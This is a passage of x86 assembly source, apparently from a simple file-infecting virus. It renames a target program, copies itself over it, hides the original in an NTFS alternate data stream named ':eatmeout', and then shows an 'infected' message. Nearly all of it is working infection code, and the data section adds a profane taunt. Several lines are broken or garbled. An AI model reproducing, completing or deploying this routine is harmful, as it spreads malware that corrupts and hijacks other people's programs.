- 2


xor eax,eax

inc eax

; dst

; dst godown

push godown

push ebp

call

[RenameFile]

; godown dst

push eax

push ebp

push buf

call [CopyFile]

; NTFS-

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

; godown dst:eatout

push eax

push buf

push godown

call [CopyFile]

; ,

; godown

push godown

call [DeleteFile]

; ,

;

push 0

push aInfected

push ebp

push 0

call [MessageBox]

;

go2exit:

push 0

call [ExitProcess]

section '.data' data readable writeable

godown db "godown",0 ;

code_name db ":eatmeout",0 ; ,

code_name_end: ;

; ,

aInfected db "infected",0

aHello db "hello, bitch, fuck them all! (c) mylene farmer -->"

;

buf rb

1000

xxx rb

1000